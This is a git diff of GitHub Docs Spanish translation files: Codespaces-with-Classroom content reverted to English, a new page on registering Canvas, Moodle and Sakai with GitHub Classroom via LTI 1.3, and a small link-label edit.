b/translations/es-ES/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom.md @@ -1,96 +1,102 @@ --- -title: Uso de GitHub Codespaces con GitHub Classroom +title: Using GitHub Codespaces with GitHub Classroom shortTitle: Using Codespaces with GitHub Classroom product: '{% data reusables.gated-features.codespaces-classroom-articles %}' -intro: "Puedes usar {% data variables.product.prodname_github_codespaces %} como editor preferido en tus asignaciones para dar a los alumnos acceso a un entorno de Visual\_Studio Code basado en explorador con una configuración con un solo clic." +intro: 'You can use {% data variables.product.prodname_github_codespaces %} as the preferred editor in your assignments to give students access to a browser-based Visual Studio Code environment with one-click setup.' versions: fpt: '*' permissions: 'Organization owners who are admins for a classroom can enable {% data variables.product.prodname_github_codespaces %} for their organization and integrate {% data variables.product.prodname_github_codespaces %} as the supported editor for an assignment. {% data reusables.classroom.classroom-admins-link %}' -ms.openlocfilehash: 062d7dc201a1f3c6ac1ee8bd92220b31c89f33b8 -ms.sourcegitcommit: ca040a1871ab5e929b596686ef955b02c5afa051 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 11/02/2022 -ms.locfileid: '148131023' --- -## Acerca de {% data variables.product.prodname_github_codespaces %} +## About {% data variables.product.prodname_github_codespaces %} -{% data variables.product.prodname_github_codespaces %} es un entorno de desarrollo instantáneo basado en la nube que usa un contenedor para proporcionar lenguajes comunes, herramientas y utilidades para el desarrollo. {% data variables.product.prodname_github_codespaces %} también es configurable, lo cual te permite crear un entorno de desarrollo personalizado que sea igual para todos los usuarios del proyecto. Para obtener más información, consulta "[Introducción a {% data variables.product.prodname_github_codespaces %}](/codespaces/overview)". +{% data variables.product.prodname_github_codespaces %} is an instant, cloud-based development environment that uses a container to provide you with common languages, tools, and utilities for development. {% data variables.product.prodname_github_codespaces %} is also configurable, allowing you to create a customized development environment that is the same for all users of your project. For more information, see "[{% data variables.product.prodname_github_codespaces %} overview](/codespaces/overview)." -Una vez que {% data variables.product.prodname_github_codespaces %} esté habilitado en una organización o empresa, los usuarios podrán crear un codespace desde cualquier rama o confirmación de un repositorio de la organización o empresa y empezar a desarrollar mediante el uso de recursos de proceso basados en la nube. Puedes conectarte a un codespace desde el explorador o localmente mediante Visual Studio Code. {% data reusables.codespaces.links-to-get-started %} +Once {% data variables.product.prodname_github_codespaces %} is enabled in an organization or enterprise, users can create a codespace from any branch or commit in an organization or enterprise repository and begin developing using cloud-based compute resources. You can connect to a codespace from the browser or locally using Visual Studio Code. -El establecimiento de {% data variables.product.prodname_github_codespaces %} como editor preferido para una asignación de GitHub Classroom resulta beneficioso tanto para los alumnos como para los profesores. {% data variables.product.prodname_github_codespaces %} es una buena opción para los alumnos que usan dispositivos prestados o sin acceso a una configuración del IDE local, ya que cada codespace está basado en la nube y no requiere ninguna configuración local. Los alumnos pueden iniciar un codespace para un repositorio de tareas en Visual Studio Code directamente en el explorador y empezar a desarrollar inmediatamente sin necesidad de ninguna configuración adicional. +{% data reusables.codespaces.links-to-get-started %} -En el caso de las tareas con entornos de configuración complejos, los profesores pueden personalizar la configuración del contenedor de desarrollo para los codespaces de un repositorio. Esto garantiza que, cuando un alumno cree un codespace, se abra automáticamente con el entorno de desarrollo que haya configurado el profesor. Para obtener más información sobre los contenedores de desarrollo, vea "[Introducción a los contenedores de desarrollo](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)". +Setting {% data variables.product.prodname_github_codespaces %} as the preferred editor for an assignment in GitHub Classroom assignments, is beneficial for both students and teachers. {% data variables.product.prodname_github_codespaces %} is a good option for students using loaned devices or without access to a local IDE setup, since each codespace is cloud-based and requires no local setup. Students can launch a codespace for an assignment repository in Visual Studio Code directly in their browser, and begin developing right away without needing any further configuration. + +For assignments with complex setup environments, teachers can customize the dev container configuration for a repository's codespaces. This ensures that when a student creates a codespace, it automatically opens with the development environment configured by the teacher. For more information on dev containers, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)." {% note %} -**Nota**: Los codespaces individuales se eliminan automáticamente si se detienen y dejan sin usar durante un período prolongado. Para más información, consulta "[Configuración de la eliminación automática de los codespaces](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces)". +**Note**: Individual codespaces are automatically deleted if they are stopped and left unused for a prolonged period. For more information, see "[Configuring automatic deletion of your codespaces](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces)." {% endnote %} -## Acerca de la ventaja {% data variables.product.prodname_codespaces %} Education para profesores verificados +{% data reusables.education.student-codespaces-benefit %} -La ventaja {% data variables.product.prodname_codespaces %} Education proporciona a los profesores verificados una asignación mensual gratuita de {% data variables.product.prodname_github_codespaces %} horas para su uso en {% data variables.product.prodname_classroom %}. Se estima que la asignación gratuita es suficiente para una clase de 50 alumnos con cinco tareas al mes, en una máquina de dos núcleos con un codespace almacenado por alumno. +{% note %} + +**Note:** {% data reusables.education.note-on-student-codespaces-usage %} + +{% endnote %} + +## About the {% data variables.product.prodname_codespaces %} Education benefit for verified teachers + +The {% data variables.product.prodname_codespaces %} Education benefit gives verified teachers a free monthly allowance of {% data variables.product.prodname_github_codespaces %} hours to use in {% data variables.product.prodname_classroom %}. The free allowance is estimated to be enough for a class of 50 with 5 assignments per month, on a 2 core machine with 1 codespace stored per student. {% data reusables.classroom.free-limited-codespaces-for-verified-teachers-beta-note %} -Si quieres convertirte en un profesor verificado, debes contar con aprobación para obtener una ventaja para educadores o profesores. Para obtener más información, consulta «[Solicitar acceso al {% data variables.product.prodname_global_campus %} como profesor](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher)». +To become a verified teacher, you need to be approved for an educator or teacher benefit. For more information, see "[Apply to {% data variables.product.prodname_global_campus %} as a teacher](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher)." -Una vez que hayas confirmado que eres un profesor verificado, visita [{% data variables.product.prodname_global_campus %} para profesores](https://education.github.com/globalcampus/teacher) con el fin de actualizar la organización a GitHub Team. Para obtener más información, consulta "[Productos de GitHub](/get-started/learning-about-github/githubs-products#github-team)". +After you have confirmation that you are a verified teacher, visit [{% data variables.product.prodname_global_campus %} for Teachers](https://education.github.com/globalcampus/teacher) to upgrade the organization to GitHub Team. For more information, see [GitHub's products](/get-started/learning-about-github/githubs-products#github-team). -Si cumples los requisitos para obtener la ventaja {% data variables.product.prodname_codespaces %} Education al habilitar {% data variables.product.prodname_github_codespaces %} en {% data variables.product.prodname_classroom %} para la organización, GitHub agrega automáticamente una directiva de codespace para restringir los tipos de máquina de todos los codespaces de la organización a dos máquinas principales. Esto ayuda a aprovechar al máximo el uso gratuito de{% data variables.product.prodname_github_codespaces %}. De todos modos, puedes cambiar o quitar estas directivas en la configuración de la organización. Para obtener más información, consulte "[Restringir el acceso a los tipos de máquina](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)". +If you are eligible for the {% data variables.product.prodname_codespaces %} Education benefit, when you enable {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_classroom %} for your organization, GitHub automatically adds a Codespace policy to restrict machine types for all codespaces in the organization to 2 core machines. This helps you make the most of the free {% data variables.product.prodname_github_codespaces %} usage. However, you can change or remove these policies in your organization settings. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)." -Cuando la ventaja {% data variables.product.prodname_codespaces %} Education deje de estar en versión beta, si tu organización supera su asignación gratuita para el uso de {% data variables.product.prodname_github_codespaces %}, se te facturará por el uso adicional. Para más información, consulta "[Acerca de la facturación de {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#about-billing-for-codespaces)". +When the {% data variables.product.prodname_codespaces %} Education benefit moves out of beta, if your organization exceeds their free allowance for {% data variables.product.prodname_github_codespaces %} usage, your organization will be billed for additional usage. For more information, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)." -## Habilitar los {% data variables.product.prodname_codespaces %} para tu organización +## Enabling {% data variables.product.prodname_codespaces %} for your organization -{% data variables.product.prodname_github_codespaces %} está disponible para su uso con {% data variables.product.prodname_classroom %} para las organizaciones que usan {% data variables.product.prodname_team %}. Si cumples los requisitos para obtener la ventaja {% data variables.product.prodname_codespaces %} Education, debes habilitar {% data variables.product.prodname_github_codespaces %} mediante {% data variables.product.prodname_classroom %}, en lugar de hacerlo directamente en la configuración de la organización. De lo contrario, se facturará a la organización directamente por todo el uso de {% data variables.product.prodname_github_codespaces %}. +{% data variables.product.prodname_github_codespaces %} is available to use with {% data variables.product.prodname_classroom %} for organizations that use {% data variables.product.prodname_team %}. If you are eligible for the {% data variables.product.prodname_codespaces %} Education benefit, you must enable {% data variables.product.prodname_github_codespaces %} through {% data variables.product.prodname_classroom %}, instead of enabling it directly in your organization settings. Otherwise, your organization will be billed directly for all usage of {% data variables.product.prodname_github_codespaces %}. -### Habilitación de Codespaces para una organización al crear un aula +### Enabling Codespaces for an organization when creating a new classroom {% data reusables.classroom.sign-into-github-classroom %} -1. Haga clic en **New classroom**. +1. Click **New classroom**. - ![Botón "Aula nueva"](/assets/images/help/classroom/click-new-classroom-button.png) + !["New classroom" button](/assets/images/help/classroom/click-new-classroom-button.png) -1. En la lista de organizaciones, da clic en aquella que te gustaría utilizar para tu aula. Las organizaciones que cumplan los requisitos de {% data variables.product.prodname_github_codespaces %} incluirán una nota en la que se indique. Opcionalmente, puedes crear una organizción nueva. Para más información, vea consulte "[Creación de una organización desde cero](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)". +1. In the list of organizations, click the organization you'd like to use for your classroom. Organizations that are eligible for {% data variables.product.prodname_github_codespaces %} will have a note showing that they are eligible. Optionally, you can create a new organization. For more information, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)." - ![Selección de una organización para el aula que cumple los requisitos de Codespaces](/assets/images/help/classroom/org-view-codespaces-eligibility.png) + ![Choose organization for classroom with codespaces eligibility](/assets/images/help/classroom/org-view-codespaces-eligibility.png) -1. En la página "Asigna un nombre al aula", en "{% data variables.product.prodname_codespaces %} en el aula", haz clic en **Habilitar**. Ten en cuenta que esto habilitará {% data variables.product.prodname_github_codespaces %} para todos los repositorios y usuarios de la organización. +1. In the "Name your classroom" page, under "{% data variables.product.prodname_codespaces %} in your Classroom", click **Enable**. Note that this will enable {% data variables.product.prodname_github_codespaces %} for all repositories and users in the organization. - ![Habilitación de Codespaces para la organización en la página "Configuración de los aspectos básicos del aula"](/assets/images/help/classroom/setup-classroom-enable-codespaces-button.png) + ![Enable Codespaces for org in "Setup classroom basics" page](/assets/images/help/classroom/setup-classroom-enable-codespaces-button.png) -1. Cuando esté todo listo para la creación del aula, haz clic en **Crear aula**. +1. When you are ready to create the new classroom, click **Create classroom**. -### Habilitación de Codespaces para una organización mediante un aula existente +### Enabling Codespaces for an organization via an existing classroom -{% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} -1. En "{% data variables.product.prodname_github_codespaces %}", haz clic en **Habilitar**. Esto habilitará {% data variables.product.prodname_github_codespaces %} para todos los repositorios y usuarios de la organización. También se agrega una nueva directiva de Codespaces para restringir los tipos de máquina de todos los codespaces de la organización a dos máquinas principales. +{% data reusables.classroom.sign-into-github-classroom %} +{% data reusables.classroom.click-classroom-in-list %} +{% data reusables.classroom.click-settings %} +1. Under "{% data variables.product.prodname_github_codespaces %}", click **Enable**. This will enable {% data variables.product.prodname_github_codespaces %} for all repositories and users in the organization. A new Codespace policy is also added to restrict machine types for all codespaces in the organization to 2 core machines. - ![Habilitación de Codespaces para la organización en la configuración del aula existente](/assets/images/help/classroom/classroom-settings-enable-codespaces-button.png) + ![Enable Codespaces for org in existing classroom settings](/assets/images/help/classroom/classroom-settings-enable-codespaces-button.png) -También puedes usar los mismos métodos que antes para deshabilitar {% data variables.product.prodname_github_codespaces %} para la organización. Ten en cuenta que esto deshabilitará {% data variables.product.prodname_github_codespaces %} para todos los usuarios y repositorios de la organización. +You can use the same methods as above to disable {% data variables.product.prodname_github_codespaces %} for your organization as well. Note that this will disable {% data variables.product.prodname_github_codespaces %} for all users and repositories in the organization. -## Configuración de una tarea para usar {% data variables.product.prodname_codespaces %} -Si quieres que los alumnos tengan {% data variables.product.prodname_github_codespaces %} disponible para una asignación, puedes seleccionar {% data variables.product.prodname_github_codespaces %} como editor compatible para la asignación. Al crear una tarea, en la página "Agregar el código de inicio y elegir el IDE en línea opcional", en "Agregar un editor compatible", selecciona **{% data variables.product.prodname_github_codespaces %}** en el menú desplegable. +## Configuring an assignment to use {% data variables.product.prodname_codespaces %} +To make {% data variables.product.prodname_github_codespaces %} available to students for an assignment, you can choose {% data variables.product.prodname_github_codespaces %} as the supported editor for the assignment. When creating a new assignment, in the "Add your starter code and choose your optional online IDE" page, under "Add a supported editor", select **{% data variables.product.prodname_github_codespaces %}** from the dropdown menu. -![Selección de Codespaces como editor compatible para la tarea](/assets/images/help/classroom/select-supported-editor-including-codespaces.png) +![Select Codespaces as supported editor for assignment](/assets/images/help/classroom/select-supported-editor-including-codespaces.png) -Si usas un repositorio de plantillas para una tarea, puedes definir un contenedor de desarrollo en el repositorio para personalizar las herramientas y los entornos de ejecución disponibles para los alumnos cuando inician un codespace para trabajar en la tarea. Si no defines un contenedor de desarrollo, {% data variables.product.prodname_github_codespaces %} usará una configuración predeterminada, que contiene muchas de las herramientas comunes que los alumnos podrían necesitar para el desarrollo. Para obtener más información sobre cómo definir un contenedor de desarrollo, consulta "[Incorporación de una configuración de contenedor de desarrollo en el repositorio](/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces)". +If you use a template repository for an assignment, you can define a dev container in the repository to customize the tools and runtimes available to students when they launch a codespace to work on the assignment. If you do not define a dev container, {% data variables.product.prodname_github_codespaces %} will use a default configuration, which contains many of the common tools that your students might need for development. For more information on defining a dev container, see "[Add a dev container configuration to your repository](/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces)." -## Inicio de una asignación mediante {% data variables.product.prodname_github_codespaces %} +## Launching an assignment using {% data variables.product.prodname_github_codespaces %} -Cuando un alumno abre una tarea, el archivo LÉAME del repositorio indica qué IDE recomienda el profesor para el trabajo. +When a student opens an assignment, the repository's README file includes their teacher's recommendation of the IDE they should use for the work. -![Captura de pantalla de la nota de Codespaces en el archivo LÉAME sobre el repositorio de la tarea de los alumnos](/assets/images/help/classroom/student-codespaces-readme-link.png) +![Screenshot of the Codespaces note in the README for a student assignment repository](/assets/images/help/classroom/student-codespaces-readme-link.png) -Los alumnos pueden iniciar un codespace nuevo o existente haciendo clic en el botón **Abrir en GitHub Codespace** en el archivo LÉAME, o haciendo clic en el botón **{% octicon "code" aria-label="The code icon" %} Código** en la página principal del repositorio de asignaciones, luego seleccione la pestaña **Codespaces**. En la pestaña **Codespaces** puede seleccionar un codespace existente o crear uno nuevo. Para obtener más información, consulte "[Crear un codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)". +Students can launch a new or existing codespace by clicking the **Open in GitHub Codespace** button in the README, or by clicking the **{% octicon "code" aria-label="The code icon" %} Code** button on the main page of the assignment repository, then selecting the **Codespaces** tab. From the **Codespaces** tab you can select an existing codespace or create a new one. For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository)." -![Inicio de un nuevo codespace en el repositorio de tareas](/assets/images/help/classroom/student-launch-new-codespace.png) +![Launch new codespace in assignment repository](/assets/images/help/classroom/student-launch-new-codespace.png) -Los profesores pueden ver el codespace de cada alumno para una tarea en la página de información general de la tarea. Puedes hacer clic en el icono Codespaces a la derecha de la fila de cada alumno para iniciar el codespace. +Teachers can view each student's codespace for an assignment in the assignment overview page. You can click on the Codespaces icon on the right side of each student row to launch the codespace. -![Información general de tareas del profesor con los codespaces de los alumnos](/assets/images/help/classroom/teacher-assignment-view-with-codespaces.png) +![Teacher assignment overview with student's codespaces](/assets/images/help/classroom/teacher-assignment-view-with-codespaces.png) -Cuando te conectes a un codespace a través de un explorador, se habilitará automáticamente el guardado automático. Si quieres guardar los cambios en el repositorio, deberás confirmar los cambios e insertarlos en una rama remota. Si dejas que el codespace se ejecute sin interacción durante 30 minutos de forma predeterminada, el tiempo de espera se agotará y el codespace dejará de ejecutarse. Los datos se conservarán desde la última vez que hayas realizado un cambio. Para más información sobre el ciclo de vida de un codespace, consulte "[Ciclo de vida de Codespaces](/codespaces/developing-in-codespaces/codespaces-lifecycle)". +When you connect to a codespace through a browser, auto-save is enabled automatically. If you want to save changes to the repository, you will need to commit the changes and push them to a remote branch. If you leave your codespace running without interaction for 30 minutes by default, the codespace will timeout and stop running. Your data will be preserved from the last time you made a change. For more information on the lifecycle of a codespace, see "[The codespace lifecycle](/codespaces/developing-in-codespaces/the-codespace-lifecycle)." diff --git a/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/register-a-learning-management-system-with-github-classroom.md b/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/register-a-learning-management-system-with-github-classroom.md new file mode 100644 index 0000000000..1d2358fb3c --- /dev/null +++ b/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/register-a-learning-management-system-with-github-classroom.md @@ -0,0 +1,169 @@ +--- +title: Registro de un sistema de administración de aprendizaje con GitHub Classroom +intro: 'Con {% data variables.product.prodname_classroom %} se puede configurar un sistema de administración de aprendizaje (LMS) compatible con LTI.' +versions: + fpt: '*' +permissions: 'Organization owners who are admins for a classroom can connect learning management systems to {% data variables.product.prodname_classroom %}.' +shortTitle: Register an LMS +ms.openlocfilehash: e1c1abed5ce4ebf82c19b29fef9a005fbe4c7a02 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106857' +--- +## Acerca del registro de un LMS en tu clase + +Para conectar tu LMS a un aula, un administrador de la instancia de LMS debe configurar el LMS para permitir el uso de {% data variables.product.prodname_classroom %} y registrar el LMS con {% data variables.product.prodname_classroom %} para iniciar el protocolo de enlace de OAuth. Un administrador solo necesita realizar este proceso de registro una vez; tras ello, cualquier profesor que use una instancia de LMS puede sincronizar sus cursos de LMS con las clases. Para obtener más información sobre cómo conectar un curso de LMS a una clase, consulta "[Conexión de un curso de sistema de administración de aprendizaje a una clase](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom)". + +{% note %} + +**Nota:** {% data reusables.classroom.google-classroom-note %} + +{% endnote %} + +## LMS compatibles + +{% data reusables.classroom.supported-lmses %} + +## Configuración de Canvas en {% data variables.product.prodname_classroom %} + +Puedes registrar una instalación Canvas en {% data variables.product.prodname_classroom %} para que los profesores puedan importar datos de la lista a sus clases. Para más información sobre Canvas, vea el [sitio web de Canvas](https://www.instructure.com/canvas/). + +### 1. Registrar claves de desarrollador de {% data variables.product.prodname_classroom %} en Canvas + +1. Inicie sesión en [Canvas](https://www.instructure.com/canvas/#login). +2. En la barra lateral izquierda de la página principal, haz clic en **Administración** y, a continuación, en **Administración del sitio**. +3. Haz clic en **Claves de desarrollador**. +4. En "Claves de desarrollador", haz clic en el botón **+ Clave de desarrollador** y selecciona **+ Clave de LTI** en el menú desplegable. +5. En la pantalla de configuración "Configuración de la clave", establece los campos en los valores siguientes: + + | Campo en la configuración de la app de Canvas | Valor o ajuste | + | :- | :- | + | **Método** | `Manual Entry` | + | **Título** | `GitHub Classroom`

**Nota**: Puedes usar cualquier nombre, pero si configuras esto de otra manera, no olvides comunicarlo a los profesores. | + | **Descripción** | `Sync Canvas course rosters to GitHub Classroom` (o similar) | + | **URI de vínculo de destino** | `https://classroom.github.com/context-link` | + | **Dirección URL de inicio de OpenID Connect** | `https://classroom.github.com/lti1p3/openid-connect/auth` | + | **JWK (método)** | `Public JWK URL` | + | **Dirección URL de JWK pública** | `https://classroom.github.com/.well-known/jwks.json` | + | **URI de redirección** | `https://classroom.github.com/lti1p3/openid-connect/redirect` | + | Lista desplegable **Servicios de LTI Advantage** | Activa la casilla "Permite recuperar los datos de usuario asociados al contexto en el que está instalada la herramienta". | + | Lista desplegable **Configuración adicional** | En "Nivel de privacidad", selecciona `Public`. | + | **Colocaciones** | Seleccione `Course Settings Sub Navigation`.

**Nota**: Si configuras la colocación de otra forma, no olvides comunicarlo a los profesores. En nuestra documentación se da por hecho que será la ubicación del botón. | +6. Haga clic en **Save**(Guardar). +7. En la tabla de la página "Claves de desarrollador", en la fila de la clave de desarrollador de GitHub Classroom, anota el valor del identificador de cliente de la columna "Detalles", que deberás comunicar a los profesores para que puedan finalizar la configuración. +8. En la tabla de la página "Claves de desarrollador", en la columna "Estado", cambia el estado de la clave a "Activado". + +### 2. Registrar tus claves de desarrollador en {% data variables.product.prodname_classroom %} + +1. Ir a https://classroom.github.com/register-lms. +2. Rellene la información siguiente: + - En "Tipo de LMS", selecciona "Canvas" en el menú desplegable. + - "Identificador del emisor": `https://canvas.instructure.com` + - "Dominio": dirección URL base de la instancia de Canvas + - "Id. de cliente": identificador de cliente que aparece en "Detalles" de la clave de desarrollador que has creado + - "Punto de conexión de autorización OIDC": dirección URL base de la instancia de Canvas con `/login/oauth2/token` anexado al final + - "Dirección URL de recuperación de tokens de OAuth 2.0": dirección URL base de la instancia de Canvas con `/api/lti/authorize_redirect` anexado al final + - "Dirección URL del conjunto de claves": dirección URL base de la instancia de Canvas con `/api/lti/security/jwks` anexado al final + + ![Registro de la instancia de Canvas con GitHub Classroom](/assets/images/help/classroom/register-canvas-with-github-classroom.png) + +3. Haga clic en **Registrar**. +4. Debería aparecer "LMS registrado correctamente" en la parte superior de la pantalla, lo que significa que has registrado tu instancia de LMS y los profesores ya pueden vincular sus clases a ella. + +## Configuración de Moodle en {% data variables.product.prodname_classroom %} + +Puedes registrar una instalación Moodle en {% data variables.product.prodname_classroom %} para que los profesores puedan importar datos de la lista a sus clases. Para más información sobre Moodle, vea el [sitio web de Moodle](https://moodle.org). + +Debes utilizar Moodle versión 3.0 o superior. + +### 1. Habilitar la publicación como herramienta de LTI en Moodle + +1. Inicie sesión en [Moodle](https://moodle.org/login/). +2. Haz clic en la pestaña "Administración del sitio" en el menú de nivel superior. +3. En la página "Administración del sitio", haz clic en la pestaña "Complementos", ve hacia abajo hasta la sección "Autenticación" y haz clic en **Administrar autenticación**. +4. Junto al campo "LTI", haz clic en el botón de alternancia para habilitar LTI. +5. Haz clic de nuevo en la pestaña "Complementos", ve hacia abajo hasta "Inscripciones" y haz clic en **Administrar complementos de inscripción**. +6. Junto al campo "Publicar como herramienta de LTI", haz clic en el botón de alternancia para habilitar la publicación como una herramienta de LTI. +7. Vuelve a la página "Administración del sitio" haciendo clic en la pestaña "Administración del sitio" en el menú de nivel superior; luego, ve hacia abajo hasta la sección "Seguridad" y haz clic en **Seguridad HTTP**. +8. Junto a "Permitir incrustación de marcos", activa la casilla para habilitar la inserción de marcos y, después, haz clic en **Guardar cambios**. + +### 2. Registrar {% data variables.product.prodname_classroom %} como herramienta externa + +1. Vuelve a la página "Administración del sitio" de Moodle haciendo clic en la pestaña "Administración del sitio" en el menú de nivel superior. +2. Haz clic en la pestaña "Complementos" y, a continuación, junto a la sección "Módulos de actividad", en "Herramienta externa", haz clic en **Administrar herramientas**. +3. Haz clic en **Configurar una herramienta manualmente**. +4. Edita los siguientes valores en los campos: + + | Campo en la configuración de la app de Moodle | Valor o ajuste | + | :- | :- | + | **Nombre de la herramienta** | `GitHub Classroom`

**Nota**: Puedes usar cualquier nombre, pero si configuras esto de otra manera, no olvides comunicarlo a los profesores. | + | **URL de la herramienta** | `https://classroom.github.com` | + | **Versión de LTI** | `LTI 1.3` | + | **Tipo de clave pública** | `Keyset URL` | + | **Conjunto de claves públicas** | `https://classroom.github.com/.well-known/jwks.json` | + | **Dirección URL de inicio de sesión** | `https://classroom.github.com/lti1p3/openid-connect/auth` | + | **URI(s) de redireccionamiento** | `https://classroom.github.com/lti1p3/openid-connect/redirect` | + | **Contenedor de inicio predeterminado** | `New window` | + +5. Activa la casilla **Admite vinculación profunda (mensaje de tipo Content-Item)** . +6. En la lista desplegable "Servicios", junto a "Aprovisionamiento de nombres y rol de LTI de LMS", selecciona "Usar este servicio para recuperar información de los miembros según la configuración de privacidad" en el menú desplegable. +7. Haga clic en **Guardar cambios**. +8. Acabas de registrar GitHub Classroom como una herramienta externa. En "Herramientas", en el cuadro "GitHub Classroom", haz clic en el icono de menú para ver la pantalla "Detalles de configuración de la herramienta". Esta pantalla contiene información importante que deberás introducir en el último paso que debes hacer para registrar la instancia en {% data variables.product.prodname_classroom %}. + +### 3. Registrar la instancia de Moodle con {% data variables.product.prodname_classroom %} + +1. Ir a https://classroom.github.com/register-lms. +2. Rellene la información siguiente: + - En "Tipo de LMS", selecciona "Moodle" en el menú desplegable. + - "Identificador del emisor": identificador de plataforma en "Detalles de configuración de la herramienta" de la herramienta externa que has creado en Moodle + - "Dominio": dirección URL base de la instancia de Moodle + - "Id. de cliente": identificador de cliente en "Detalles de configuración de la herramienta" de la herramienta externa que has creado en Moodle + - "Dirección URL de solicitud de autenticación": dirección URL de solicitud de autenticación en "Detalles de configuración de la herramienta" de la herramienta externa que has creado en Moodle + - "Dirección URL del token de acceso": dirección URL del token de acceso en "Detalles de configuración de la herramienta" de la herramienta externa que has creado en Moodle + - "Dirección URL del conjunto de claves": dirección URL del conjunto de claves públicas en "Detalles de configuración de la herramienta" de la herramienta externa que has creado en Moodle + + ![Registro de la instancia de Moodle con GitHub Classroom](/assets/images/help/classroom/register-moodle-with-github-classroom.png) + +3. Haga clic en **Registrar**. +4. Debería aparecer "LMS registrado correctamente" en la parte superior de la pantalla, lo que significa que has registrado tu instancia de LMS y los profesores ya pueden vincular sus clases a ella. + +## Configuración de Sakai en {% data variables.product.prodname_classroom %} + +### 1. Registrar {% data variables.product.prodname_classroom %} como herramienta externa + +1. Ve a Sakai e inicia sesión. +2. Ve a "Área de trabajo de administración" y selecciona **Herramientas externas** en la barra lateral izquierda. +3. Haz clic en **Instalar herramienta LTI 1.x**. +4. Edita los siguientes valores en los campos: + + | Campo de la configuración de la aplicación Sakai | Valor o ajuste | + | :- | :- | + | **Nombre de la herramienta** | GitHub Classroom: [nombre del curso]

**Nota**: Puedes usar cualquier nombre, pero si configuras esto de otra manera, no olvides comunicarlo a los profesores. | + | **Texto del botón** (texto en el menú de herramientas) | Lo que verá el profesor en el botón para entrar en {% data variables.product.prodname_classroom %}. Por ejemplo, el valor podría ser `sync`. | + | **Dirección URL de inicio** | `https://classroom.github.com/context-link` | + | **Enviar nombres de usuario a la herramienta externa** | Seleccione esta casilla de verificación. | + | **Proporcionar lista a herramienta externa** | Seleccione esta casilla de verificación. | + | **La herramienta admite LTI 1.3** | Seleccione esta casilla de verificación. | + | **Dirección URL del conjunto de claves de la herramienta LTI 1.3** | `https://classroom.github.com/.well-known/jwks.json` | + | **Punto de conexión de inicialización/OpenID Connect de la herramienta LTI 1.3** | `https://classroom.github.com/lti1p3/openid-connect/auth` | + | **Punto de conexión de redireccionamiento de la herramienta LTI 1.3** | `https://classroom.github.com/lti1p3/openid-connect/redirect` | +5. Al enviar, Sakai te mostrará la información que necesitas para registrar la instancia de Sakai en {% data variables.product.prodname_classroom %}. + +### 2. Registrar la instancia de Sakai con {% data variables.product.prodname_classroom %} + +1. Ir a https://classroom.github.com/register-lms. +2. Rellene la información siguiente: + - En "Tipo de LMS", selecciona "Sakai" en el menú desplegable. + - "Emisor de plataforma LTI 1.3": el campo "Emisor de plataforma LTI 1.3", tal y como se indica en Sakai + - "Dominio": dirección URL base de la instancia de Sakai + - "Id. de cliente de LTI 1.3": el campo "Id. de cliente de LTI 1.3", tal y como se indica en Sakai + - "Dirección URL de autenticación OIDC de la plataforma LTI 1.3": el campo "Dirección URL de autenticación OIDC de la plataforma LTI 1.3", tal y como se indica en Sakai + - "Dirección URL de recuperación de tokens de portador de OAuth2 de la plataforma LTI 1.3": el campo "Dirección URL de recuperación de tokens de portador de OAuth2 de la plataforma LTI 1.3", tal y como se indica en Sakai + - "Dirección URL del conjunto de claves/conocida de OAuth2 de la plataforma LTI 1.3": el campo "Dirección URL del conjunto de claves/conocida de OAuth2 de la plataforma LTI 1.3", tal y como se indica en Sakai + + ![Registro de la instancia de Sakai con GitHub Classroom](/assets/images/help/classroom/register-sakai-with-github-classroom.png) + +3. Haga clic en **Registrar**. +4. Debería aparecer "LMS registrado correctamente" en la parte superior de la pantalla, lo que significa que has registrado tu instancia de LMS y los profesores ya pueden vincular sus clases a ella. diff --git a/translations/es-ES/content/get-started/learning-about-github/about-github-advanced-security.md b/translations/es-ES/content/get-started/learning-about-github/about-github-advanced-security.md index 7f2ad08c68..fc045c097e 100644 --- a/translations/es-ES/content/get-started/learning-about-github/about-github-advanced-security.md +++ b/translations/es-ES/content/get-started/learning-about-github/about-github-advanced-security.md @@ -32,7 +32,7 @@ A {% data variables.product.prodname_GH_advanced_security %} license provides th {% ifversion ghes < 3.7 or ghae %} -- **Security overview** - Review the security configuration and alerts for an organization and identify the repositories at greatest risk. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)." +- **Security overview** - Review the security configuration and alerts for an organization and identify the repositories at greatest risk. For more information, see "[About security overviews](/code-security/security-overview/about-the-security-overview)." {% endif %} {% ifversion fpt or ghec %} diff --git 